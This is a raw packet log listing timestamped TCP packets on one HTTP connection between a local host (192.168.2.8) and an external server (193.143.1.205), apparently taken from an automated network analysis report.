Jan 10, 2025 15:01:23.490864038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490875006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490890026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.490890026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.490890026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.491050005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.491473913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.491486073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.491498947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.491655111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.493053913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.498647928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.498660088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.498670101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.498804092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.512279987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.512293100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.512305021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.512372971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.512383938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.512403965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.512633085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.528458118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.528990984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.540160894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.542747021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.542759895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.542771101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.542795897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.542831898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573215008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573226929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573242903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573256969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573267937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573334932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573353052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573357105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573357105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573381901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573395014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573400021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573406935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573451996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573451996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.573637009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573648930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573658943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.573671103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.574317932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.574317932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.603857994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603871107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603880882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603898048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603909016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603924990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603935003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603976965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.603990078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604021072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604043007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604053974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604129076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604137897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604172945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604172945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604172945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604217052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604228020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604244947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604285955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604288101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604288101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604299068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604377031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604391098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604402065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604413033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604432106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604432106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604563951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604588032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604643106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604655981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604691029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604732037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604732037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604742050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604753971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604779005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604890108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604892015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.604939938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.604950905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605011940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605011940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605016947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605030060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605040073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605098963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605104923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605110884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605211973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605242014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605272055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605283976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605326891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605326891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605354071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605365038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605375051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605389118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605412006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605427027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605460882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605484009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605494976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605505943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605576992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605576992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605667114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605678082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605690002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605700016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605709076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605710983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605727911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605739117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.605758905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.605806112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.608838081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.608859062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.608871937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.608906984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.608958960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.608972073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609011889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609016895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609016895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609018087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609024048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609035969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609059095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609081984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609096050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609100103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609138966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609150887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609158993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609206915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609217882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609230042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609240055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609275103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609555006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609565973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609575987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609638929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609656096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609668016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609682083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609695911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609695911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609695911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609781027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609787941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609806061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609817982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609864950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609865904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609911919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609916925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609930038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609941006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.609977007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.609999895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610011101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610055923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.610160112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610172033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610183001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610227108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610240936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610240936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.610240936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.610264063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610295057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.610316992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.610409021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.615653038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615665913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615678072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615747929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615758896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615765095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615770102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615782022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.615839005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.615864038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.615928888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.642183065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660408020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660419941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660432100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660541058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660546064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660558939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660568953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660581112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660609007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660639048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660650969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660660982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660671949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660681009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660681009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660686970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660720110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660751104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.660763025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660774946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.660979033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.674632072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690586090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690603971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690613031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690660000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690670967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690697908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690740108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690751076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690761089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690772057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690818071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690818071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690818071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690841913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690855026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690864086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690901995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690916061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690948009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690948009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.690979958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.690993071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691024065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691035032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691059113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691071033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691081047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691144943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691154957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691164970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691175938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691216946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691216946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691216946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691250086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691263914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691273928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691286087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691339970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691339970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691386938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691402912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691412926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691423893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691435099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691446066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691493034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691493034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691493034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691539049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691550970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691607952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691620111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691628933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691651106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691651106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691752911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691765070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691775084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691785097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691795111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691800117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691800117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691800117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.691807032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691880941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691893101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.691998005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692008972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692019939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692019939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692022085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692035913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692047119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692055941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692068100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692085981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692085981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692128897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692167997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692167997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692181110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692192078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692202091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692213058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692255974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692255974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692425966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692436934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692446947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692457914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692467928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692478895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692488909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692500114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692511082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692516088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692522049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692552090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692552090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692687035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692714930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692727089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692737103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692748070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692759037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692800999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692800999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692800999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.692967892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692980051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.692990065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693000078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693010092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693021059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.693032026 CET	80	49705	193.143.1.205	192.168.2.8
